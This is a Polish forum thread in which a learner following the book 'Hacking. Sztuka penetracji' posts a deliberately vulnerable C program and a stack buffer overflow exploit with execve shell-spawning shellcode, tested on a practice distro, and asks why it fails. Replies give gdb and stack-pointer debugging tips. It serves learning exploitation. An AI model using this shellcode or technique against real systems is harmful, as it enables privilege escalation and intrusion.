ďťż

sunsetting

photo

Chciałem pouczyć się exploitować programy. Właśnie czytam książkę "Hacking. Sztuka penetracji". Na wzór pierwszego exploitu z tamtej książki próbowałem napisać swój (testuje na dvl). Niestety nie udaje się, nie wiem czemu.

Mógłby mnie ktoś objaśnić co źle robie?

Dziurawy program:

Kod: #include <stdio.h>
#include <string.h>

void dump (char *napis){
char bufor[256];
strcpy (bufor, napis);
printf ("%s", bufor);
}

int main (int argc, char *argv[], char *env[]){

if (argc!=2) {
printf ("Nie podales argumentu\n");
return 1;
}

dump (argv[1]);

return 0;
}

Exploit:

Kod: #include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main (int argc, char *argv[]){
unsigned int i, *ptr, ret, offset=260;
char *command, *buffer;

command = (char *)malloc(272);
strcat (command, "./vul \'");
buffer = command + strlen(command);
bzero (buffer, 0);
if (argc==2) offset = atoi (argv[1]);
ret = (unsigned int)&i - offset; // szacujemy ret
for (i=0; i<=268/4; i+=4){
*((unsigned int *)(buffer+i)) = ret;
}
memset (buffer, 0x90, 60);
memcpy (buffer+60, shellcode, strlen(shellcode)-1);
strcat (command, "\'");
system (command);
free (command);
}


Kod:  ret = (unsigned int)&i - offset; // szacujemy ret
Co ma na celu ten kawalek kodu, bo za chiny nie moge pojac co miales na mysli odejmujac od rzutowanego do unsigned int adresu zmiennej i offset ? edit:: // zalapalem co miales na mysli

Sam sobie utrudniasz, piszac taki kod. Odpal sobie w gdb program vuln, najlepiej skompilowany z flaga -ggdb, postaw breakpointa na adres wywolania strcpy
b *0xadres, potem
print &bufor
Bedziesz mial wtedy adres pod ktory mozesz wrocic. Potem sobie zapisujesz adres w exploicie
char *ret = "\x\x\x\x"; /* od konca */
Dalej mozesz samymi strcpy i strcat wypelnic bufor i odpalic vuln za pomoca system.
Na poczatek bedzie Ci latwiej w ten sposob, poniewaz widze ze jeszcze nie lapiesz o co chodzi w przykladzie z ksiazki.

Co do tego kodu to offset odejmujesz od wierzcholka stosu, czyli esp. Aby podbrac esp:
Kod: int getesp()
{
   asm volatile("movl %esp, %eax\n");
}
Tablice trzeba wyzerować przed strcat. Niepotrzebnie podajesz \ po ./vuln. Nie chce mi się tego analizować. Błędy pokaż i końcówkę dmesg.
  • zanotowane.pl
  • doc.pisz.pl
  • pdf.pisz.pl
  • kazimierz.htw.pl